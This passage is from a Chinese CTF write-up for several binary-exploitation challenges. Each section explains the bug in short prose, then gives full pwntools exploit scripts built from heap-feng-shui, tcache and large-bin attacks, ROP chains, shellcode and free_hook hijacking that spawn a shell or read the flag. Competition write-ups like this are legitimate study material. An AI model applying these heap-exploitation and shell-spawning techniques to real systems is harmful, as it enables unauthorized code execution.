    if(i==0x1314):payload=payload+b'a'*(0x12-length-1)+b'_' 
    if(i==0x1314+1):payload=payload+b'a'*(0x2a-length-1)+b'_' 
    if(i==0x1314+2):payload=asm(sh) 
    add_code(i,'mowen',payload) 
    attack_code.append(i) 
show_code() 
p.recvuntil(b'_') 
libc_addr=u64_Nofix(p) 
dir("libc_addr") 
 
p.recvuntil(b'_') 
stack_addr=u64_Nofix(p) 
dir("stack_addr") 
 
command(8) 
p.recvuntil(b':') 
p.sendline(bytes(str(0x100),'utf-8')) 
do_add_file(b'mowen123',b'a'*8)# b20 
do_add_file(b'mowen123',b'b'*8)# b3e 
do_add_file(b'mowen123',b'c'*8+b'\x00') # b47 
do_add_file(b'mowen123',b'\x12')# b50 
do_add_file(b'mowen123',b'e'*7+b'\x00')  
payload=p64(stack_addr-0xadea) 
do_add_file(b'mowen123',payload) 
do_add_file(b'mowen123',b'\x00'*8+b'\x00') 
 
print(asm(sh)) 
 
sleep(1) 
sh2=f''' 
    {shellcraft.open("flag")} 
    {shellcraft.read('rax','rsp',0x100)} 
    {shellcraft.write(1,'rsp',0x100)} 
''' 
p.sendline(b'\x90'*(0x20)+asm(sh2)) 

p.interactive() 

SU_text

漏洞一:show 可以越界

int *__fastcall sub_17D8(int *a1)
{
  write(1, (char *)a1 + *a1 + 4, 8uLL);
  return a1 + 1;
}

漏洞二:

在同一个步骤的操作中,虽然 store 和 load 限制了 0x410

但是在 sub_1D5D 中同样可以操作操作同一片内存的指针,比如先利用 xor 写 0x200 字节,那么最后就可以越界到 0x200 + 0x410

842bae202aaa0868ae0727a0fd49cc80

于是利用上面所说的功能,越界打 larger bin attack 修改 mp.tcahce_bin_max_size ,tcache bin attack 打 栈。

题目难点是需要用堆来泄露 libc ,不然会和远程有区别

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def create(idx, size):
    pay = b'\x01\x10'+p8(idx)+p32(size)
    return pay

def dele(idx):
    pay = b'\x01\x11'+p8(idx)
    return pay

ADD = 0x10
SUB = 0x11
MUL = 0x12
DIV = 0x13
SET_OFFSET_VAL = 0x14
GET_OFFSET_VAL = 0x15
PRINT = 0x16
def xx0(idx):
    pay = b'\x02'+p8(idx)+b'\x10'

def start_xx1(idx):
    return b'\x02'+p8(idx)

def xx1_0(method, val0, val1 = 0):
    if val0 < 0:
        pay = b'\x10'+p8(method)+p32(0x100000000+val0)
    else:
        pay = b'\x10'+p8(method)+p32(val0)
    if method == SET_OFFSET_VAL or method == GET_OFFSET_VAL:
        pay += p64(val1)
    elif method == PRINT:
        pass
    else:
        pay += p32(val1)
    return pay

LS = 0x10
RS = 0x11
XOR = 0x12
OR = 0x13
AND = 0x14
def xx1_1(method, val):
    pay = b'\x11'+p8(method)+ val + p32(0)
    return pay

def stop_xx1():
    return b'\x00'

def next_step():
    return b'\x03'

def store(idx, offset, value):
    return start_xx1(idx) + xx1_0(SET_OFFSET_VAL, offset, value) + stop_xx1()
def load(idx, heap_offset, data_offset):
    return start_xx1(idx) + xx1_0(GET_OFFSET_VAL, heap_offset, data_offset) + stop_xx1()
def show(idx, offset):
    return start_xx1(idx) + xx1_0(PRINT, offset) + stop_xx1()

def xor(idx, val):
    pl = start_xx1(idx)
    for i in range(len(val)//4):
        pl += xx1_1(0x12, val[i*4:i*4+4])
    pl += stop_xx1()
    return pl

def xor_(idx, val):
    pl = start_xx1(idx)
    for i in range(len(val)//4):
        pl += xx1_1(0x12, val[i*4:i*4+4])
    return pl
def store_(offset, value):
    return xx1_0(SET_OFFSET_VAL, offset, value)
def load_(offset, value):
    return xx1_0(GET_OFFSET_VAL, offset, value)

#p = remote('1.95.76.73', 10011)
p = process('./pwn')

#debug('b *$rebase(0x1784)\nb *$rebase(0x17d8)')

# show libc_base
pl  = create(0, 0x500)
pl += create(0xf, 0x500)
pl += dele(0)
pl += create(0, 0x500)

pl += load(0, 0, 0)
pl += show(0, -0x11)

pl += next_step()

sa(b'bytes):\n', pl)
libc_base = u64(r(8)) - 0x203b20


#debug('b *$rebase(0x17d8)\nb _exit\nb *$rebase(0x1784)\n')

pl  = create(1, 0x428)
pl += create(2, 0x418)
pl += create(3, 0x418)
pl += dele(1)
pl += create(4, 0x438)
pl += dele(3)
pl += next_step()
sa(b'bytes):\n', pl)

# show heap_base

pl = xor_(0xf, b'\x00'*0x200)
pl += load_(0x328, 0)
pl += stop_xx1()
pl += next_step()
sa(b'bytes):\n', pl)

pl = show(0xf, 0x500)
pl += next_step()
sa(b'bytes):\n', pl)
heap_base = u64(r(8)) - 0xcb0

# lager bin attack

mp = libc_base + 0x2031f0

_IO_list_all = libc_base + libc.sym['_IO_list_all']
pl = xor_(0xf, b'\x00'*0x200)
pl += store_(0x328, mp - 0x20 - 8)
pl += stop_xx1()
pl += create(5, 0x438)
pl += next_step()
sa(b'bytes):\n', pl)


pl = create(0x7, 0x500)
pl += create(0x8, 0x500)
pl += create(0x9, 0x500)

pl += dele(0x9)
pl += dele(0x8)
pl += next_step()
sa(b'bytes):\n', pl)


#debug('b _exit\nb free\nb malloc')
key = (heap_base + 0x2000) >> 12
environ = libc_base + 0x20ad58

pl = xor_(0x7, b'\x00'*0x200)
pl += store_(0x310, key ^ (environ - 0x28))
pl += stop_xx1()
pl += create(0xa, 0x500)
pl += create(0xb, 0x500)

pl += next_step()
sa(b'bytes):\n', pl)

#debug('b *$rebase(0x17d8)\nb _exit\nb malloc\nb *$rebase(0x1784)\n')

pl = xor_(0xb, b'\x00'*0x10)
pl += load_(0x18, 0)
pl += stop_xx1()
pl += next_step()
sa(b'bytes):\n', pl)

pl = show(0x0, 0x28)
pl += next_step()
sa(b'bytes):\n', pl)

stack = u64(r(8))

pl = create(0xc, 0x500)
pl += create(0xd, 0x500)
pl += create(0xe, 0x500)
pl += dele(0xe)
pl += dele(0xd)
pl += next_step()
sa(b'bytes):\n', pl)

key = (heap_base + 0x3000) >> 12
pl = xor_(0xc, b'\x00'*0x200)
pl += store_(0x310, key ^ (stack - 0x178))
pl += stop_xx1()
pl += create(0xe, 0x500)
pl += create(0xd, 0x500)
pl += next_step()
sa(b'bytes):\n', pl)

#debug('b *$rebase(0x1f56)\n')

rop = ROP(libc)

rax = libc_base + 0x00000000000dd237
rdi = libc_base + 0x000000000010f75b
rsi = libc_base + 0x0000000000110a4d
ret = libc_base + 0x000000000002882f

#0x000000000004b2d2 : mov edx, eax ; mov eax, 8 ; sub eax, edx ; ret
mov_edx_eax = libc_base + 0x000000000004b2d2
syscall = libc_base + (rop.find_gadget(['syscall','ret'])).address

pl = start_xx1(0xd)
pl += store_(0x20, rax)
pl += store_(0x28, 0)
pl += store_(0x30, mov_edx_eax)
pl += store_(0x38, rax)
pl += store_(0x40, 2)
pl += store_(0x48, rdi)
pl += store_(0x50, stack - 0x90)
pl += store_(0x58, rsi)
pl += store_(0x60, 0)
pl += store_(0x68, syscall)

pl += store_(0x70, rax)
pl += store_(0x78, 0x100)
pl += store_(0x80, mov_edx_eax)
pl += store_(0x88, rax)
pl += store_(0x90, 0)
pl += store_(0x98, rdi)
pl += store_(0xa0, 3)
pl += store_(0xa8, rsi)
pl += store_(0xb0, stack + 0x100)
pl += store_(0xb8, syscall)

pl += store_(0xc0, rax)
pl += store_(0xc8, 1)
pl += store_(0xd0, rdi)
pl += store_(0xd8, 1)
pl += store_(0xe0, syscall)

pl += store_(0xe8, int(b'\x00galf/'.hex(), 16))

pl += store_(0x18, ret)
pl += stop_xx1()

pl += next_step()
sa(b'bytes):\n', pl) 


lg('stack', stack)
lg('environ', environ)
lg('mp', mp)
lg('_IO_list_all', _IO_list_all)
lg('heap_base', heap_base)
lg('libc_base', libc_base)

inter()
pause()

SU_JIT16

漏洞是 sub_17CB 存在功能分支的越界,其中的 case 4: 可以越界到 jmp $0x11,将 jmp $0x11 直接写到 shellcode 中,并且没有修正

于是题目变成了执行两个字节 shellcode 的题目,这里是读入 /bin/sh 后执行 execve 系统调用

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def mov_reg_data(reg, data):
    pay = p8(1) + p8((reg<<4)&0b11110000) + p16(data)
    return pay

def mov_reg_reg(reg0, reg1):
    reg = ((reg0<<4)&0b11110000) | (reg1&0b1111)
    pay = p8(0) + p8(reg) + p16(0xffff)
    return pay

def adc_reg_reg(reg0, reg1):
    reg = ((reg0<<4)&0b11110000) | (reg1&0b1111)
    pay = p8(0b10001) + p8(reg) + p16(0xffff)
    return pay

def add_reg_reg(reg0, reg1):
    reg = ((reg0<<4)&0b11110000) | (reg1&0b1111)
    pay = p8(0b10000) + p8(reg) + p16(0xffff)
    return pay

def sbb_reg_reg(reg0, reg1):
    reg = ((reg0<<4)&0b11110000) | (reg1&0b1111)
    pay = p8(0b100001) + p8(reg) + p16(0xffff)
    return pay

def sub_reg_reg(reg0, reg1):
    reg = ((reg0<<4)&0b11110000) | (reg1&0b1111)
    pay = p8(0b100000) + p8(reg) + p16(0xffff)
    return pay

def not_reg(reg):
    pay = p8(0b1000000) + p8(reg) + p16(0xffff)
    return pay

def neg_reg(reg):
    pay = p8(0b1000001) + p8(reg) + p16(0xffff)
    return pay

def shr_reg(reg):
    pay = p8(0b1000010) + p8(reg) + p16(0xffff)
    return pay

def test_reg(reg):
    pay = p8(0b1000100) + p8(reg) + p16(0xffff)
    return pay

def jmp(offset):
    if offset < 0:
        return p8(0b1010000) + p8(0xff) + p16(0x10000+offset)
    else:
        return p8(0b1010000) + p8(0xff) + p16(offset)

def jz(offset):
    if offset < 0:
        return p8(0b1010001) + p8(0xff) + p16(0x10000+offset)
    else:
        return p8(0b1010001) + p8(0xff) + p16(offset)

def load_l(reg0, reg1):
    reg = ((reg0<<4)&0b11110000) | (reg1&0b1111)
    pay = p8(0b1100000) + p8(reg) + p16(0xffff)
    return pay

def load_x(reg0, reg1):
    reg = ((reg0<<4)&0b11110000) | (reg1&0b1111)
    pay = p8(0b1100001) + p8(reg) + p16(0xffff)
    return pay

def store_l(reg0, reg1):
    reg = ((reg0<<4)&0b11110000) | (reg1&0b1111)
    pay = p8(0b1110000) + p8(reg) + p16(0xffff)
    return pay

def store_x(reg0, reg1):
    reg = ((reg0<<4)&0b11110000) | (reg1&0b1111)
    pay = p8(0b1110001) + p8(reg) + p16(0xffff)
    return pay


def clc():
    return p8(0b10000000) + p8(0) + p16(0)

def mov_reg_data_(reg, data):
    print(reg, data)
    pay = p8(1) + p8((reg<<4)&0b11110000) + b'\x0f\x05'
    return pay

def sc(data):
    return p8(1) + p8(0) + asm(data)

p = process('./pwn')
#p = remote('1.95.131.201', 10002)

#debug('b *$rebase(0x274d)\n')
#debug('b *$rebase(0x2181)\n')

pl = b''

pl += test_reg(4) # jmp $0x11
pl += clc()*0xf
pl += sc('push rsp; pop rsi')

pl += mov_reg_data(3, 0x40)

pl += test_reg(4) # jmp $0x11
pl += clc()*0xf
pl += sc('syscall')

pl += mov_reg_data(0, 0x3b)
pl += mov_reg_data(3, 0)

pl += test_reg(4) # jmp $0x11
pl += clc()*0xf
pl += sc('push rsi; pop rdi')

pl += test_reg(4) # jmp $0x11
pl += clc()*0xf
pl += sc('xor esi, esi')

pl += test_reg(4) # jmp $0x11
pl += clc()*0xf
pl += sc('syscall')

sa(b'Input ur code:\n', pl)

sleep(1)
s(b'/bin/sh\x00')

inter()
#pause()

SU_msg_cfgd

C++菜单题,先注册两个handler。

MainLoop::handle_dispatch函数再依据输入选择对应的handler进行菜单操作。

其中通过parseTLVCfgCMD函数进行参数处理。

数据参数格式如下:

struct param{
    _DWORD optcode;
    _DWORD config_name_size;
    _BYTE config_name[config_name_size];
    _DWORD content_size;
    _BYTE content[content_size];
}

MsgHandler::handleCMD函数基于optcode进行功能选择,有get、add、update、delete、visit操作。

RemoteHandler::cmdAdd会调用MsgHandler::update_obj来进行操作。

MsgHandler::update_obj会遍历(this+16)的vector,找到对应config_name的元素,并进行替换,找不到则添加。

替换之后会把指向该元素的迭代器赋值给(this+40),这样的迭代器会导致未定义行为。

MsgHandler::visit_obj函数会进行vector::end的check,如果该迭代器不指向末尾则进行元素数据的打印。

这里的check很明显存在漏洞,当我们创建a、b、c三个元素,然后让迭代器指向c,此时删除b、c两个元素,即可使end指向b而非c,此时就能绕过判断,打印已经释放了的堆块数据从而造成泄露。

同样MsgHandler::cmdUpdate函数也检查不严格,可以绕过check实现uaf修改已释放堆块数据。

这里的思路就是,利用堆风水使得释放的元素c指向unsortedbin,泄露libc基地址,再重新构造堆风水实现tcachebin attack劫持free_hook为system从而getshell。

from pwn import *

class Command:
    def __init__(self):
        self.code_head = b''
        self.code = b''
        self.cnt = 0

    def set_dispatch_handler(self,handler):
        self.code_head += p32(1)+p32(handler)

    def get(self,name):
        self.code += p32(0) + p32(len(name)) + name + p32(0) +b'\x00'
        self.cnt+=1

    def add(self,name,content):
        self.code += p32(1)+p32(len(name))+name+p32(len(content))+content+b'\x00'
        self.cnt += 1

    def update(self,name,content):
        self.code += p32(2) + p32(len(name)) + name + p32(len(content)) + content +b'\x00'
        self.cnt += 1

    def dele(self,name):
        self.code += p32(3) + p32(len(name)) + name + p32(0) +b'\x00'
        self.cnt += 1

    def visit(self):
        self.code += p32(4) + p32(0) + p32(0) +b'\x00'
        self.cnt += 1

    def get_code(self):
        return self.code_head+p32(self.cnt)+self.code

    def clear(self):
        self.code_head = b''
        self.code = b''
        self.cnt = 0

libc = ELF("./libc.so.6")
# p = gdb.debug("./main",'b *$rebase(0x00000000000367A)')
p = process('./main')

cmd = Command()
'''构造大堆块uaf,泄露libc'''
cmd.set_dispatch_handler(ord('a'))
cmd.add(b'a',b'a'*0x500)
cmd.add(b'b',b'a')
cmd.add(b'c',b'a')
cmd.add(b'c',b'a'*0x410)
cmd.add(b'd',b'a'*0x400)
cmd.dele(b'd')
cmd.dele(b'c')
cmd.dele(b'b')
cmd.visit()
p.sendlineafter("ommand:",cmd.get_code())
p.recvuntil('\nContent: ')
libc.address = u64(p.recv(6)+p16(0))-0x13140-0x1d9aa0
print('libc:',hex(libc.address))
cmd.clear()
'''堆风水,实现tcachebin attack'''
cmd.set_dispatch_handler(ord('a'))
#填满tcache,将堆块c放入fastbin中间位置
cmd.add(b'a',b'a'*0x40)
cmd.add(b'b',b'a'*0x40)
cmd.add(b'c',b'a'*0x40)
cmd.add(b'd',b'a'*0x40)
cmd.add(b'e',b'a'*0x40)
cmd.add(b'f',b'a'*0x40)
cmd.add(b'g',b'a'*0x40)
cmd.add(b'h',b'a'*0x40)
cmd.add(b'i',b'a'*0x40)
#使迭代器指向堆块c
cmd.add(b'c',b'a'*0x40)
cmd.dele(b'i')
cmd.dele(b'h')
cmd.dele(b'g')
cmd.dele(b'f')
cmd.dele(b'e')
cmd.dele(b'd')
cmd.dele(b'c')
cmd.dele(b'b')
cmd.dele(b'a')
#触发double free,并重新取回来修改fd,劫持free_hook
cmd.update(p64(libc.symbols['__free_hook']-0x20).ljust(0x40),b'2'*0x40)
#把tcache清空,将fastbin链入tcache
cmd.add(b'a',b'a'*0x40)
cmd.add(b'b',b'a'*0x40)
cmd.add(b'c',b'a'*0x40)
cmd.add(b'd',b'a'*0x40)
cmd.add(b'e',b'a'*0x40)
#劫持free_hook到system
cmd.add(b'/bin/sh',b'a'*0x10+p64(libc.symbols['system']).ljust(0x30))
p.sendlineafter("ommand:",cmd.get_code())

# gdb.attach(p)
p.interactive()

SU_PAS_sport

pascal语言用fpc静态编译的程序,没有符号表,只得通过测试推断函数作用。

大致逆出input、output、iocheck、getfd这几个函数。

基于输入进行菜单选择。

openfd函数会根据输入打开不同的文件句柄,这里会创建不同大小的堆块来存放io结构体。

但文件都是/dev/urandom。

create函数会创建大小为n(n<=1024)的堆块,此处sizeOfSea变量被优先更改了,如果n大于1024,堆块不会重新创建但是sizeOfSea还是会被更改,即可造成溢出。

pull函数则是将fd1或fd2的内容写入create申请的chunk中,这里fd1读入的是bytes类型,fd2读入的是text类型(文本输入数字再转化为byte)。

因为fd1和fd2都是打开的/dev/urandom文件,所以读入内容都是随机的,且因为fd2的格式限制,随机读入会触发输入格式异常。

通过分析io结构体,发现偏移为0处存放了它的文件描述符3。

经过测试,将3改为0时,它会改为从键盘读入数据。

因此我们可以利用先前的堆块溢出,淹没io结构体的文件描述符,因为是全随机的,所以有1/256的概率使其变成0.

扭转输入之后,我们还需要进行后续利用。

通过逆向分析,发现sub_419F90函数(alloc的size大于0x218时调用)和unsortedbin操作一样,且无check。

只需要满足堆块size和请求size一致即可取出该堆块,并进行bk->fd=fd,fd->bk=bk的操作。

所以我们的思路是劫持已释放的堆块size、fd、bk,利用脱链实现任意地址写它自身,修改chunk指针指向自己,再去二次修改chunk指针实现任意地址改。

在跟踪”/bin/sh”字符时,我们可以发现一个疑似system函数的funtion,其地址为0x454E10。经过测试验证确实是system。

而create再申请新chunk前会释放旧chunk,且freeChunk是基于函数指针操作的,故我们可以直接劫持该函数指针为system。虽然程序执行流程会调用多次free,但system并不会导致程序崩溃仍可正常利用。

from pwn import *

def open_gate(idx):
    p.sendlineafter('choice >', str(1))
    p.sendlineafter('Which gate?',str(idx))

def close_gate(idx):
    p.sendlineafter('choice >', str(2))
    p.sendlineafter('Which gate?',str(idx))

def create_ocean(size):
    p.sendlineafter('choice >', str(3))
    p.sendlineafter('ocean.',str(size))

def pull_gate2ocean(size,idx):
    p.sendlineafter('choice >', str(4))
    p.sendlineafter('data',str(size))
    p.sendlineafter('Which gate?',str(idx))

def l2str(val):
    strs = hex(val)[2:].rjust(16,'0')
    ret = ''
    for i in range(7,-1,-1):
        ret += str(int(strs[i*2:(i+1)*2],16))+' '
    return ret

# p = gdb.debug('./chall','b *0x0000000004019DC\nb *0x00000000004016D1')
# gdb.attach(p,'b *0x00000000040123B\nc\nset {char}*(long*)0x47e540=0')
# gdb.attach(p,'b *0x0000000004012CC\nc\nset {char}*(long*)0x47e550=0')
# pause()
while True:
    p = process('./chall')
    try :
        magic_gadget = 0x0000000000402aff
        create_ocean(0x220)
        open_gate(2)
        open_gate(1)
        close_gate(2)
        create_ocean(0x2000)
        pull_gate2ocean(0x240+0x3a0+1,1)
        pull_gate2ocean(0x260,1)
        payload = b'a'*0x238+p64(0x3a0)+p64(0x47E580-0x20)+p64(0x47E580-0x18)
        payload = payload.ljust(0x260)
        time.sleep(0.5)
        p.send(payload)
        open_gate(2)
        pull_gate2ocean(0x30,1)
        payload1 = p64(1)*4+p64(0x465B00)+p64(0)
        payload1 = payload1.ljust(0x30,b'\x00')
        time.sleep(0.5)
        p.send(payload1)
        pull_gate2ocean(8,1)
        time.sleep(0.5)
        p.send(p64(0x000000000454E10))
        create_ocean(8)
        pull_gate2ocean(8, 1)
        time.sleep(0.5)
        p.send(b'/bin/sh;')
        create_ocean(8)
        p.interactive()
        break
    except:
        p.close()